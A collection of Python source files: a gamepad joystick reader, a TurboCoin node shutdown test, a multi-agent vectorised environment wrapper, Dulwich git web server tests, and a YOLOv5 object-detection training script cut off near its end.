# -*- coding: utf-8 -*- """ Created on Sun Oct 14 21:47:55 2018 @author: 402072495 """ import os import numpy as np # import inputs # import serial import threading import time class myJoyStick(): def __init__(self, parent=None): # self.pads = inputs.devices.gamepads self.dataType = np.dtype([('ABS_X', int), ('ABS_Y', int), ('ABS_Z', int), ('ABS_RX', int), ('ABS_RY', int), ('ABS_RZ', int), ('ABS_HAT0X', int), ('ABS_HAT0Y', int), ('BTN_SOUTH', int), ('BTN_NORTH', int), ('BTN_WEST', int), ('BTN_EAST', int), ('BTN_TR', int), ('BTN_TL', int), ('BTN_SELECT', int), ('BTN_START', int)]) self.data = np.zeros(1, self.dataType) # self.serialPort = serial.Serial() # self.serialPort.port = "" # self.serialPort.baudrate = 921600 self.start_joyStick_thread = 0 self.X = 0 self.Y = 0 self.Z = 0 self.RX = 0 self.RY = 0 self.TZ = 0 self.flag = 0 def loopJoyStick(self): while self.start_joyStick_thread: events = inputs.get_gamepad() #阻塞] for event in events: #if event.code is not 'SYN_REPORT': #print(event.code, event.state) if event.code == 'ABS_X': if event.state > 10000: self.X = 0.05 elif event.state < -10000: self.X = -0.05 else: self.X = .0 if event.code == 'ABS_Y': if event.state > 10000: self.Y = 0.05 elif event.state < -10000: self.Y = -0.05 else: self.Y = .0 if event.code == 'ABS_RX': if event.state > 10000: self.RX = 0.05 elif event.state < -10000: self.RX = -0.05 else: self.RX = .0 if event.code == 'ABS_RY': if event.state > 10000: self.RY = 0.05 elif event.state < -10000: self.RY = -0.05 else: self.RY = .0 if event.code == 'ABS_Z': if event.state > 25: self.Z = 0.05 else: self.Z = .0 if event.code == 'ABS_RZ': if event.state > 25: self.Z = -0.05 else: self.Z = .0 if event.code == 'BTN_TL': if event.state: self.TZ = 0.05 else: self.TZ = 0 if event.code == 'BTN_TR': if event.state: self.TZ = -0.05 else: self.TZ = 0 if event.code == 'BTN_SELECT': if event.state: self.flag = not self.flag def getData(self): return self.data[0] def start(self): if self.start_joyStick_thread == 0: 1 # self.start_joyStick_thread = 1 # self.joyStick_thread = threading.Thread(target=self.loopJoyStick, name='JoyStickThread') # self.joyStick_thread.daemon = True # #self.joyStick_thread.start() # print("start joyStick, getData() to get data") else: print("already open") def stop(self): self.start_joyStick_thread = 0 print("joyStick stopped") if __name__ == '__main__': a = myJoyStick() a.start() print(a) while 1: a
feature_shutdown.py
#!/usr/bin/env python3 # Copyright (c) 2018 TurboCoin # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test turbocoind shutdown.""" from test_framework.test_framework import TurbocoinTestFramework from test_framework.util import assert_equal, get_rpc_proxy, wait_until from threading import Thread def test_long_call(node): block = node.waitfornewblock() assert_equal(block['height'], 0) class ShutdownTest(TurbocoinTestFramework): def set_test_params(self): self.setup_clean_chain = True self.num_nodes = 1 def run_test(self): node = get_rpc_proxy(self.nodes[0].url, 1, timeout=600, coveragedir=self.nodes[0].coverage_dir) # Force connection establishment by executing a dummy command. node.getblockcount() Thread(target=test_long_call, args=(node,)).start() # Wait until the server is executing the above `waitfornewblock`. wait_until(lambda: len(self.nodes[0].getrpcinfo()['active_commands']) == 2) # Wait 1 second after requesting shutdown but not before the `stop` call # finishes. This is to ensure event loop waits for current connections # to close. self.stop_node(0, wait=1000) if __name__ == '__main__': ShutdownTest().main()
subproc_vec_env.py
import numpy as np from multiprocessing import Process, Pipe from baselines.common.vec_env import VecEnv, CloudpickleWrapper def worker(remote, env_fn_wrapper, is_multi_agent): env = env_fn_wrapper.x() while True: cmd, data = remote.recv() if cmd == 'step': ob, reward, done, info = env.step(data) if is_multi_agent: if done[0]: ob = env.reset() else: if done: ob = env.reset() remote.send((ob, reward, done, info)) elif cmd == 'reset': ob = env.reset() remote.send(ob) elif cmd == 'close': remote.close() break elif cmd == 'get_spaces': remote.send((env.action_space, env.observation_space)) elif cmd == 'render': env.render() remote.send(0) else: raise NotImplementedError class SubprocVecEnv(VecEnv): def __init__(self, env_fns, is_multi_agent=False): """ envs: list of gym environments to run in subprocesses """ nenvs = len(env_fns) self.remotes, self.work_remotes = zip(*[Pipe() for _ in range(nenvs)]) self.ps = [Process(target=worker, args=(work_remote, CloudpickleWrapper(env_fn), is_multi_agent)) for (work_remote, env_fn) in zip(self.work_remotes, env_fns)] for p in self.ps: p.daemon = True p.start() for remote in self.work_remotes: remote.close() self.remotes[0].send(('get_spaces', None)) self.action_space, self.observation_space = self.remotes[0].recv() self.is_multi_agent = is_multi_agent self.num_agents = None if is_multi_agent: try: n = len(self.action_space) except: n = len(self.action_space.spaces) self.num_agents = n def step_async(self, actions): # if self.is_multi_agent: # remote_action = [] # for i in range(len(self.remotes)): # remote_action.append([action[i] for action in actions]) # actions = remote_action for remote, action in zip(self.remotes, actions): remote.send(('step', action)) self.waiting = True def step_wait(self): results = [remote.recv() for remote in self.remotes] self.waiting = False if self.is_multi_agent: obs, rews, dones, infos = [], [], [], [] for k in range(self.num_agents): obs.append([result[0][k] for result in results]) rews.append([result[1][k] for result in results]) dones.append([result[2][k] for result in results]) try: infos = [result[3] for result in results] except: infos = None obs = [np.stack(ob) for ob in obs] rews = [np.stack(rew) for rew in rews] dones = [np.stack(done) for done in dones] return obs, rews, dones, infos else: obs, rews, dones, infos = zip(*results) return np.stack(obs), np.stack(rews), np.stack(dones), infos def reset(self): for remote in self.remotes: remote.send(('reset', None)) if self.is_multi_agent: results = [remote.recv() for remote in self.remotes] obs = [[result[k] for result in results] for k in range(self.num_agents)] obs = [np.stack(ob) for ob in obs] return obs else: return np.stack([remote.recv() for remote in self.remotes]) def close(self): for remote in self.remotes: remote.send(('close', None)) for p in self.ps: p.join() @property def num_envs(self): return len(self.remotes) if __name__ == '__main__': from make_env import make_env def create_env(rank): def _thunk(): env = make_env('simple_push') env.seed(rank) return env return _thunk env = SubprocVecEnv([create_env(i) for i in range(0, 4)], is_multi_agent=True) env.reset() obs, rews, dones, _ = env.step( [[np.array([0, 1, 0, 0, 0]), np.array([2, 0, 0, 0, 0])] for _ in range(4)] ) print(env.observation_space) print(obs) print(rews[0].shape) print(dones[1].shape) env.close()
test_web.py
# test_web.py -- Compatibility tests for the git web server. # Copyright (C) 2010 Google, Inc. # # Dulwich is dual-licensed under the Apache License, Version 2.0 and the GNU # General Public License as public by the Free Software Foundation; version 2.0 # or (at your option) any later version. You can redistribute it and/or # modify it under the terms of either of these two licenses. # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # You should have received a copy of the licenses; if not, see # <http://www.gnu.org/licenses/> for a copy of the GNU General Public License # and <http://www.apache.org/licenses/LICENSE-2.0> for a copy of the Apache # License, Version 2.0. # """Compatibility tests between Dulwich and the cgit HTTP server. warning: these tests should be fairly stable, but when writing/debugging new tests, deadlocks may freeze the test process such that it cannot be Ctrl-C'ed. On POSIX systems, you can kill the tests with Ctrl-Z, "kill %". """ import threading from wsgiref import simple_server import sys from typing import Tuple from dulwich.server import ( DictBackend, UploadPackHandler, ReceivePackHandler, ) from dulwich.tests import ( SkipTest, skipIf, ) from dulwich.web import ( make_wsgi_chain, HTTPGitApplication, WSGIRequestHandlerLogger, WSGIServerLogger, ) from dulwich.tests.compat.server_utils import ( ServerTests, NoSideBand64kReceivePackHandler, ) from dulwich.tests.compat.utils import ( CompatTestCase, ) @skipIf(sys.platform == 'win32', 'Broken on windows, with very long fail time.') class WebTests(ServerTests): """Base tests for web server tests. Contains utility and setUp/tearDown methods, but does non inherit from TestCase so tests are not automatically run. """ protocol = 'http' def _start_server(self, repo): backend = DictBackend({'/': repo}) app = self._make_app(backend) dul_server = simple_server.make_server( 'localhost', 0, app, server_class=WSGIServerLogger, handler_class=WSGIRequestHandlerLogger) self.addCleanup(dul_server.shutdown) self.addCleanup(dul_server.server_close) threading.Thread(target=dul_server.serve_forever).start() self._server = dul_server _, port = dul_server.socket.getsockname() return port @skipIf(sys.platform == 'win32', 'Broken on windows, with very long fail time.') class SmartWebTestCase(WebTests, CompatTestCase): """Test cases for smart HTTP server. This server test case does not use side-band-64k in git-receive-pack. """ min_git_version = (1, 6, 6) # type: Tuple[int, ...] def _handlers(self): return {b'git-receive-pack': NoSideBand64kReceivePackHandler} def _check_app(self, app): receive_pack_handler_cls = app.handlers[b'git-receive-pack'] caps = receive_pack_handler_cls.capabilities() self.assertNotIn(b'side-band-64k', caps) def _make_app(self, backend): app = make_wsgi_chain(backend, handlers=self._handlers()) to_check = app # peel back layers until we're at the base application while not issubclass(to_check.__class__, HTTPGitApplication): to_check = to_check.app self._check_app(to_check) return app def patch_capabilities(handler, caps_removed): # Patch a handler's capabilities by specifying a list of them to be # removed, and return the original classmethod for restoration. original_capabilities = handler.capabilities filtered_capabilities = [ i for i in original_capabilities() if i not in caps_removed] def capabilities(cls): return filtered_capabilities handler.capabilities = classmethod(capabilities) return original_capabilities @skipIf(sys.platform == 'win32', 'Broken on windows, with very long fail time.') class SmartWebSideBand64kTestCase(SmartWebTestCase): """Test cases for smart HTTP server with side-band-64k support.""" # side-band-64k in git-receive-pack was introduced in git 1.7.0.2 min_git_version = (1, 7, 0, 2) def setUp(self): self.o_uph_cap = patch_capabilities(UploadPackHandler, (b"no-done",)) self.o_rph_cap = patch_capabilities(ReceivePackHandler, (b"no-done",)) super(SmartWebSideBand64kTestCase, self).setUp() def tearDown(self): super(SmartWebSideBand64kTestCase, self).tearDown() UploadPackHandler.capabilities = self.o_uph_cap ReceivePackHandler.capabilities = self.o_rph_cap def _handlers(self): return None # default handlers include side-band-64k def _check_app(self, app): receive_pack_handler_cls = app.handlers[b'git-receive-pack'] caps = receive_pack_handler_cls.capabilities() self.assertIn(b'side-band-64k', caps) self.assertNotIn(b'no-done', caps) class SmartWebSideBand64kNoDoneTestCase(SmartWebTestCase): """Test cases for smart HTTP server with side-band-64k and no-done support. """ # no-done was introduced in git 1.7.4 min_git_version = (1, 7, 4) def _handlers(self): return None # default handlers include side-band-64k def _check_app(self, app): receive_pack_handler_cls = app.handlers[b'git-receive-pack'] caps = receive_pack_handler_cls.capabilities() self.assertIn(b'side-band-64k', caps) self.assertIn(b'no-done', caps) @skipIf(sys.platform == 'win32', 'Broken on windows, with very long fail time.') class DumbWebTestCase(WebTests, CompatTestCase): """Test cases for dumb HTTP server.""" def _make_app(self, backend): return make_wsgi_chain(backend, dumb=True) def test_push_to_dulwich(self): # Note: remove this if dulwich implements dumb web pushing. raise SkipTest('Dumb web pushing not supported.') def test_push_to_dulwich_remove_branch(self): # Note: remove this if dumb pushing is supported raise SkipTest('Dumb web pushing not supported.') def test_new_shallow_clone_from_dulwich(self): # Note: remove this if C git and dulwich implement dumb web shallow # clones. raise SkipTest('Dumb web shallow cloning not supported.') def test_shallow_clone_from_git_is_identical(self): # Note: remove this if C git and dulwich implement dumb web shallow # clones. raise SkipTest('Dumb web shallow cloning not supported.') def test_fetch_same_depth_into_shallow_clone_from_dulwich(self): # Note: remove this if C git and dulwich implement dumb web shallow # clones. raise SkipTest('Dumb web shallow cloning not supported.') def test_fetch_full_depth_into_shallow_clone_from_dulwich(self): # Note: remove this if C git and dulwich implement dumb web shallow # clones. raise SkipTest('Dumb web shallow cloning not supported.') def test_push_to_dulwich_issue_88_standard(self): raise SkipTest('Dumb web pushing not supported.')
train.py
import argparse import logging import os import random import time from pathlib import Path from threading import Thread from warnings import warn import math import numpy as np import torch.distributed as dist import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torch.optim.lr_scheduler as lr_scheduler import torch.utils.data import yaml from torch.cuda import amp from torch.nn.parallel import DistributedDataParallel as DDP from torch.utils.tensorboard import SummaryWriter from tqdm import tqdm import test # import test.py to get mAP after each epoch from models.yolo import Model from utils.autoanchor import check_anchors from utils.datasets import create_dataloader from utils.general import labels_to_class_weights, increment_path, labels_to_image_weights, init_seeds, \ fitness, strip_optimizer, get_latest_run, check_dataset, check_file, check_git_status, check_img_size, \ print_mutation, set_logging from utils.google_utils import attempt_download from utils.loss import compute_loss from utils.plots import plot_images, plot_labels, plot_results, plot_evolution from utils.torch_utils import ModelEMA, select_device, intersect_dicts, torch_distributed_zero_first logger = logging.getLogger(__name__) try: import wandb except ImportError: wandb = None logger.info("Install Weights & Biases for experiment logging via 'pip install wandb' (recommended)") def train(hyp, opt, device, tb_writer=None, wandb=None): logger.info(f'Hyperparameters {hyp}') save_dir, epochs, batch_size, total_batch_size, weights, rank = \ Path(opt.save_dir), opt.epochs, opt.batch_size, opt.total_batch_size, opt.weights, opt.global_rank # Directories wdir = save_dir / 'weights' wdir.mkdir(parents=True, exist_ok=True) # make dir last = wdir / 'last.pt' best = wdir / 'best.pt' results_file = save_dir / 'results.txt' # Save run settings with open(save_dir / 'hyp.yaml', 'w') as f: yaml.dump(hyp, f, sort_keys=False) with open(save_dir / 'opt.yaml', 'w') as f: yaml.dump(vars(opt), f, sort_keys=False) # Configure plots = not opt.evolve # create plots cuda = device.type != 'cpu' init_seeds(2 + rank) with open(opt.data) as f: data_dict = yaml.load(f, Loader=yaml.FullLoader) # data dict with torch_distributed_zero_first(rank): check_dataset(data_dict) # check train_path = data_dict['train'] test_path = data_dict['val'] nc, names = (1, ['item']) if opt.single_cls else (int(data_dict['nc']), data_dict['names']) # number classes, names assert len(names) == nc, '%g names found for nc=%g dataset in %s' % (len(names), nc, opt.data) # check # Model pretrained = weights.endswith('.pt') if pretrained: with torch_distributed_zero_first(rank): attempt_download(weights) # download if not found locally ckpt = torch.load(weights, map_location=device) # load checkpoint if hyp.get('anchors'): ckpt['model'].yaml['anchors'] = round(hyp['anchors']) # force autoanchor model = Model(opt.cfg or ckpt['model'].yaml, ch=3, nc=nc).to(device) # create exclude = ['anchor'] if opt.cfg or hyp.get('anchors') else [] # exclude keys state_dict = ckpt['model'].float().state_dict() # to FP32 state_dict = intersect_dicts(state_dict, model.state_dict(), exclude=exclude) # intersect model.load_state_dict(state_dict, strict=False) # load logger.info('Transferred %g/%g items from %s' % (len(state_dict), len(model.state_dict()), weights)) # report else: model = Model(opt.cfg, ch=3, nc=nc).to(device) # create # Freeze freeze = [] # parameter names to freeze (full or partial) for k, v in model.named_parameters(): v.requires_grad = True # train all layers if any(x in k for x in freeze): print('freezing %s' % k) v.requires_grad = False # Optimizer nbs = 64 # nominal batch size accumulate = max(round(nbs / total_batch_size), 1) # accumulate loss before optimizing hyp['weight_decay'] *= total_batch_size * accumulate / nbs # scale weight_decay pg0, pg1, pg2 = [], [], [] # optimizer parameter groups for k, v in model.named_modules(): if hasattr(v, 'bias') and isinstance(v.bias, nn.Parameter): pg2.append(v.bias) # biases if isinstance(v, nn.BatchNorm2d): pg0.append(v.weight) # no decay elif hasattr(v, 'weight') and isinstance(v.weight, nn.Parameter): pg1.append(v.weight) # apply decay if opt.adam: optimizer = optim.Adam(pg0, lr=hyp['lr0'], betas=(hyp['momentum'], 0.999)) # adjust beta1 to momentum else: optimizer = optim.SGD(pg0, lr=hyp['lr0'], momentum=hyp['momentum'], nesterov=True) optimizer.add_param_group({'params': pg1, 'weight_decay': hyp['weight_decay']}) # add pg1 with weight_decay optimizer.add_param_group({'params': pg2}) # add pg2 (biases) logger.info('Optimizer groups: %g .bias, %g conv.weight, %g other' % (len(pg2), len(pg1), len(pg0))) del pg0, pg1, pg2 # Scheduler https://arxiv.org/pdf/1812.01187.pdf # https://pytorch.org/docs/stable/_modules/torch/optim/lr_scheduler.html#OneCycleLR lf = lambda x: ((1 + math.cos(x * math.pi / epochs)) / 2) * (1 - hyp['lrf']) + hyp['lrf'] # cosine scheduler = lr_scheduler.LambdaLR(optimizer, lr_lambda=lf) # plot_lr_scheduler(optimizer, scheduler, epochs) # Logging if wandb and wandb.run is None: opt.hyp = hyp # add hyperparameters wandb_run = wandb.init(config=opt, resume="allow", project='YOLOv5' if opt.project == 'runs/train' else Path(opt.project).stem, name=save_dir.stem, id=ckpt.get('wandb_id') if 'ckpt' in locals() else None) loggers = {'wandb': wandb} # loggers dict # Resume start_epoch, best_fitness = 0, 0.0 if pretrained: # Optimizer if ckpt['optimizer'] is not None: optimizer.load_state_dict(ckpt['optimizer']) best_fitness = ckpt['best_fitness'] # Results if ckpt.get('training_results') is not None: with open(results_file, 'w') as file: file.write(ckpt['training_results']) # write results.txt # Epochs start_epoch = ckpt['epoch'] + 1 if opt.resume: assert start_epoch > 0, '%s training to %g epochs is finished, nothing to resume.' % (weights, epochs) if epochs < start_epoch: logger.info('%s has been trained for %g epochs. Fine-tuning for %g additional epochs.' % (weights, ckpt['epoch'], epochs)) epochs += ckpt['epoch'] # finetune additional epochs del ckpt, state_dict # Image sizes gs = int(max(model.stride)) # grid size (max stride) imgsz, imgsz_test = [check_img_size(x, gs) for x in opt.img_size] # verify imgsz are gs-multiples # DP mode if cuda and rank == -1 and torch.cuda.device_count() > 1: model = torch.nn.DataParallel(model) # SyncBatchNorm if opt.sync_bn and cuda and rank != -1: model = torch.nn.SyncBatchNorm.convert_sync_batchnorm(model).to(device) logger.info('Using SyncBatchNorm()') # EMA ema = ModelEMA(model) if rank in [-1, 0] else None # DDP mode if cuda and rank != -1: model = DDP(model, device_ids=[opt.local_rank], output_device=opt.local_rank) # Trainloader dataloader, dataset = create_dataloader(train_path, imgsz, batch_size, gs, opt, hyp=hyp, augment=True, cache=opt.cache_images, rect=opt.rect, rank=rank, world_size=opt.world_size, workers=opt.workers, image_weights=opt.image_weights) mlc = np.concatenate(dataset.labels, 0)[:, 0].max() # max label class nb = len(dataloader) # number of batches assert mlc < nc, 'Label class %g exceeds nc=%g in %s. Possible class labels are 0-%g' % (mlc, nc, opt.data, nc - 1) # Process 0 if rank in [-1, 0]: ema.updates = start_epoch * nb // accumulate # set EMA updates testloader = create_dataloader(test_path, imgsz_test, total_batch_size, gs, opt, hyp=hyp, cache=opt.cache_images and not opt.notest, rect=True, rank=-1, world_size=opt.world_size, workers=opt.workers)[0] # testloader if not opt.resume: labels = np.concatenate(dataset.labels, 0) c = torch.tensor(labels[:, 0]) # classes # cf = torch.bincount(c.long(), minlength=nc) + 1. # frequency # model._initialize_biases(cf.to(device)) if plots: Thread(target=plot_labels, args=(labels, save_dir, loggers), daemon=True).start() if tb_writer: tb_writer.add_histogram('classes', c, 0) # Anchors if not opt.noautoanchor: check_anchors(dataset, model=model, thr=hyp['anchor_t'], imgsz=imgsz) # Model parameters hyp['cls'] *= nc / 80. # scale coco-tuned hyp['cls'] to current dataset model.nc = nc # attach number of classes to model model.hyp = hyp # attach hyperparameters to model model.gr = 1.0 # iou loss ratio (obj_loss = 1.0 or iou) model.class_weights = labels_to_class_weights(dataset.labels, nc).to(device) # attach class weights model.names = names # Start training t0 = time.time() nw = max(round(hyp['warmup_epochs'] * nb), 1000) # number of warmup iterations, max(3 epochs, 1k iterations) # nw = min(nw, (epochs - start_epoch) / 2 * nb) # limit warmup to < 1/2 of training maps = np.zeros(nc) # mAP per class results = (0, 0, 0, 0, 0, 0, 0) # P, R, mAP@.5, mAP@.5-.95, val_loss(box, obj, cls) scheduler.last_epoch = start_epoch - 1 # do not move scaler = amp.GradScaler(enabled=cuda) logger.info('Image sizes %g train, %g test\n' 'Using %g dataloader workers\nLogging results to %s\n' 'Starting training for %g epochs...' % (imgsz, imgsz_test, dataloader.num_workers, save_dir, epochs)) for epoch in range(start_epoch, epochs): # epoch ------------------------------------------------------------------ model.train() # Update image weights (optional) if opt.image_weights: # Generate indices if rank in [-1, 0]: cw = model.class_weights.cpu().numpy() * (1 - maps) ** 2 # class weights iw = labels_to_image_weights(dataset.labels, nc=nc, class_weights=cw) # image weights dataset.indices = random.choices(range(dataset.n), weights=iw, k=dataset.n) # rand weighted idx # Broadcast if DDP if rank != -1: indices = (torch.tensor(dataset.indices) if rank == 0 else torch.zeros(dataset.n)).int() dist.broadcast(indices, 0) if rank != 0: dataset.indices = indices.cpu().numpy() # Update mosaic border # b = int(random.uniform(0.25 * imgsz, 0.75 * imgsz + gs) // gs * gs) # dataset.mosaic_border = [b - imgsz, -b] # height, width borders mloss = torch.zeros(4, device=device) # mean losses if rank != -1: dataloader.sampler.set_epoch(epoch) pbar = enumerate(dataloader) logger.info(('\n' + '%10s' * 8) % ('Epoch', 'gpu_mem', 'box', 'obj', 'cls', 'total', 'targets', 'img_size')) if rank in [-1, 0]: pbar = tqdm(pbar, total=nb) # progress bar optimizer.zero_grad() for i, (imgs, targets, paths, _) in pbar: # batch ------------------------------------------------------------- ni = i + nb * epoch # number integrated batches (since train start) imgs = imgs.to(device, non_blocking=True).float() / 255.0 # uint8 to float32, 0-255 to 0.0-1.0 # Warmup if ni <= nw: xi = [0, nw] # x interp # model.gr = np.interp(ni, xi, [0.0, 1.0]) # iou loss ratio (obj_loss = 1.0 or iou) accumulate = max(1, np.interp(ni, xi, [1, nbs / total_batch_size]).round()) for j, x in enumerate(optimizer.param_groups): # bias lr falls from 0.1 to lr0, all other lrs rise from 0.0 to lr0 x['lr'] = np.interp(ni, xi, [hyp['warmup_bias_lr'] if j == 2 else 0.0, x['initial_lr'] * lf(epoch)]) if 'momentum' in x: x['momentum'] = np.interp(ni, xi, [hyp['warmup_momentum'], hyp['momentum']]) # Multi-scale if opt.multi_scale: sz = random.randrange(imgsz * 0.5, imgsz * 1.5 + gs) // gs * gs # size sf = sz / max(imgs.shape[2:]) # scale factor if sf != 1: ns = [math.ceil(x * sf / gs) * gs for x in imgs.shape[2:]] # new shape (stretched to gs-multiple) imgs = F.interpolate(imgs, size=ns, mode='bilinear', align_corners=False) # Forward with amp.autocast(enabled=cuda): pred = model(imgs) # forward loss, loss_items = compute_loss(pred, targets.to(device), model) # loss scaled by batch_size if rank != -1: loss *= opt.world_size # gradient averaged between devices in DDP mode # Backward scaler.scale(loss).backward() # Optimize if ni % accumulate == 0: scaler.step(optimizer) # optimizer.step scaler.update() optimizer.zero_grad() if ema: ema.update(model) # Print if rank in [-1, 0]: mloss = (mloss * i + loss_items) / (i + 1) # update mean losses mem = '%.3gG' % (torch.cuda.memory_reserved() / 1E9 if torch.cuda.is_available() else 0) # (GB) s = ('%10s' * 2 + '%10.4g' * 6) % ( '%g/%g' % (epoch, epochs - 1), mem, *mloss, targets.shape[0], imgs.shape[-1]) pbar.set_description(s) # Plot if plots and ni < 3: f = save_dir / f'train_batch{ni}.jpg' # filename Thread(target=plot_images, args=(imgs, targets, paths, f), daemon=True).start() # if tb_writer: # tb_writer.add_image(f, result, dataformats='HWC', global_step=epoch) # tb_writer.add_graph(model, imgs) # add model to tensorboard elif plots and ni == 3 and wandb: wandb.log({"Mosaics": [wandb.Image(str(x), caption=x.name) for x in save_dir.glob('train*.jpg')]}) # end batch ------------------------------------------------------------------------------------------------ # end epoch ---------------------------------------------------------------------------------------------------- # Scheduler lr = [x['lr'] for x in optimizer.param_groups] # for tensorboard scheduler.step() # DDP process 0 or single-GPU if rank in [-1, 0]: # mAP if ema: ema.update_attr(model, include=['yaml', 'nc', 'hyp', 'gr', 'names', 'stride']) final_epoch = epoch + 1 == epochs if not opt.notest or final_epoch: # Calculate mAP results, maps, times = test.test(opt.data, batch_size=total_batch_size, imgsz=imgsz_test, model=ema.ema, single_cls=opt.single_cls, dataloader=testloader, save_dir=save_dir, plots=plots and final_epoch, log_imgs=opt.log_imgs if wandb else 0) # Write with open(results_file, 'a') as f: f.write(s + '%10.4g' * 7 % results + '\n') # P, R, mAP@.5, mAP@.5-.95, val_loss(box, obj, cls) if len(opt.name) and opt.bucket: os.system('gsutil cp %s gs://%s/results/results%s.txt' % (results_file, opt.bucket, opt.name)) # Log tags = ['train/box_loss', 'train/obj_loss', 'train/cls_loss', # train loss 'metrics/precision', 'metrics/recall', 'metrics/mAP_0.5', 'metrics/mAP_0.5:0.95', 'val/box_loss', 'val/obj_loss', 'val/cls_loss', # val loss 'x/lr0', 'x/lr1', 'x/lr2'] # params for x, tag in zip(list(mloss[:-1]) + list(results) + lr, tags): if tb_writer: tb_writer.add_scalar(tag, x, epoch) # tensorboard if wandb: wandb.log({tag: x}) # W&B # Update best mAP fi = fitness(np.array(results).reshape(1, -1)) # weighted combination of [P, R, mAP@.5, mAP@.5-.95] if fi > best_fitness: best_fitness = fi # Save model save = (not opt.nosave) or (final_epoch and not opt.evolve) if save: with open(results_file, 'r') as f: # create checkpoint ckpt = {'epoch': epoch, 'best_fitness': best_fitness, 'training_results': f.read(), 'model': ema.ema, 'optimizer': None if final_epoch else optimizer.state_dict(), 'wandb_id': wandb_run.id if wandb else None} # Save last, best and delete torch.save(ckpt, last) if best_fitness == fi: torch.save(ckpt, best) del ckpt # end epoch ---------------------------------------------------------------------------------------------------- # end training if rank in [-1, 0]: # Strip optimizers n = opt.name if opt.name.isnumeric() else '' fresults, flast, fbest = save_dir / f'results{n}.txt', wdir / f'last{n}.pt', wdir / f'best{n}.pt' for f1, f2 in zip([wdir / 'last.pt', wdir / 'best.pt', results_file], [flast, fbest, fresults]): if f1.exists(): os.rename(f1, f2) # rename if str(f2).endswith('.pt'): # is *.pt strip_optimizer(f2) # strip optimizer os.system('gsutil cp %s gs://%s/weights' % (f2, opt.bucket)) if opt.bucket else None # upload # Finish if plots: plot_results(save_dir=save_dir) # save as results.png if wandb: files = ['results.png', 'precision_recall_curve.png', 'confusion_matrix.png'] wandb.log({"Results": [wandb.Image(str(save_dir / f), caption=f) for f in files if (save_dir / f).exists()]}) logger.info('%g epochs completed in %.3f hours.\n' % (epoch - start_epoch + 1, (time.time() - t0) / 3600)) else: dist.destroy_process_group() wandb.run.finish() if wandb and wandb.run else None torch.cuda.empty_cache() return results if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--weights', type=str, default='yolov5s.pt', help='initial weights path') parser.add_argument('--cfg', type=str, default='', help='model.yaml path') parser.add_argument('--data', type=str, default='data/coco128.yaml', help='data.yaml path') parser.add_argument('--hyp', type=str, default='data/hyp.scratch.yaml', help='hyperparameters path') parser.add_argument('--epochs', type=int, default=300) parser.add_argument('--batch-size', type=int, default=16, help='total batch size for all GPUs') parser.add_argument('--img-size', nargs='+', type=int, default=[640, 640], help='[train, test] image sizes') parser.add_argument('--rect', action='store_true', help='rectangular training') parser.add_argument('--resume', nargs='?', const=True, default=False, help='resume most recent training') parser.add_argument('--nosave', action='store_true', help='only save final checkpoint') parser.add_argument('--notest', action='store_true', help='only test final epoch') parser.add_argument('--noautoanchor', action='store_true', help='disable autoanchor check') parser.add_argument('--evolve', action='store_true', help='evolve hyperparameters') parser.add_argument('--bucket', type=str, default='', help='gsutil bucket') parser.add_argument('--cache-images', action='store_true', help='cache images for faster training') parser.add_argument('--image-weights', action='store_true', help='use weighted image selection for training') parser.add_argument('--device', default='', help='cuda device, i.e. 0 or 0,1,2,3 or cpu') parser.add_argument('--multi-scale', action='store_true', help='vary img-size +/- 50%%') parser.add_argument('--single-cls', action='store_true', help='train as single-class dataset') parser.add_argument('--adam', action='store_true', help='use torch.optim.Adam() optimizer') parser.add_argument('--sync-bn', action='store_true', help='use SyncBatchNorm, only available in DDP mode') parser.add_argument('--local_rank', type=int, default=-1, help='DDP parameter, do not modify') parser.add_argument('--log-imgs', type=int, default=16, help='number of images for W&B logging, max 100') parser.add_argument('--workers', type=int, default=8, help='maximum number of dataloader workers') parser.add_argument('--project', default='runs/train', help='save to project/name') parser.add_argument('--name', default='exp', help='save to project/name') parser.add_argument('--exist-ok', action='store_true', help='existing project/name ok, do not increment') opt = parser.parse_args() # Set DDP variables opt.total_batch_size = opt.batch_size opt.world_size = int(os.environ['WORLD_SIZE']) if 'WORLD_SIZE' in os.environ else 1 opt.global_rank = int(os.environ['RANK']) if 'RANK' in os.environ else -1 set_logging(opt.global_rank) if opt.global_rank in [-1, 0]: check_git_status() # Resume if opt.resume: # resume an interrupted run ckpt = opt.resume if isinstance(opt.resume, str) else get_latest_run() # specified or most recent path assert os.path.isfile(ckpt), 'ERROR: --resume checkpoint does not exist' with open(Path(ckpt).parent.parent / 'opt.yaml') as f: opt = argparse.Namespace(**yaml.load(f, Loader=yaml.FullLoader)) # replace opt.cfg, opt.weights, opt.resume = '', ckpt, True logger.info('Resuming training from %s' % ckpt) else: # opt.hyp = opt.hyp or ('hyp.finetune.yaml' if opt.weights else 'hyp.scratch.yaml') opt.data, opt.cfg, opt.hyp = check_file(opt.data), check_file(opt.cfg), check_file(opt.hyp) # check files assert len(opt.cfg) or len(opt.weights), 'either --cfg or --weights must be specified' opt.img_size.extend([opt.img_size[-1]] * (2 - len(opt.img_size))) # extend to 2 sizes (train, test) opt.name = 'evolve' if opt.evolve else opt.name opt.save_dir = increment_path(Path(opt.project) / opt.name, exist_ok=opt.exist_ok | opt.evolve) # increment run # DDP mode device = select_device(opt.device, batch_size=opt.batch_size) if opt.local_rank != -1: assert torch.cuda.device_count() > opt.local_rank torch.cuda.set_device(opt.local_rank) device = torch.device('cuda', opt.local_rank) dist.init_process_group(backend='nccl', init_method='env://') # distributed backend assert opt.batch_size % opt.world_size == 0, '--batch-size must be multiple of CUDA device count' opt.batch_size = opt.total_batch_size // opt.world_size # Hyperparameters with open(opt.hyp) as f: hyp = yaml.load(f, Loader=yaml.FullLoader) # load hyps if 'box' not in hyp: warn('Compatibility: %s missing "box" which was renamed from "giou" in %s' % (opt.hyp, 'https://github.com/ultralytics/yolov5/pull/1120')) hyp['box'] = hyp.pop('giou') # Train logger.info(opt) if not opt.evolve: tb_writer = None # init loggers if opt.global_rank in [-1, 0]: logger.info(f'Start Tensorboard with "tensorboard --logdir {opt.project}", view at http://localhost:6006/') tb_writer = SummaryWriter(opt.save_dir) # Tensorboard train(hyp, opt, device, tb_writer, wandb) # Evolve hyperparameters (optional) else: # 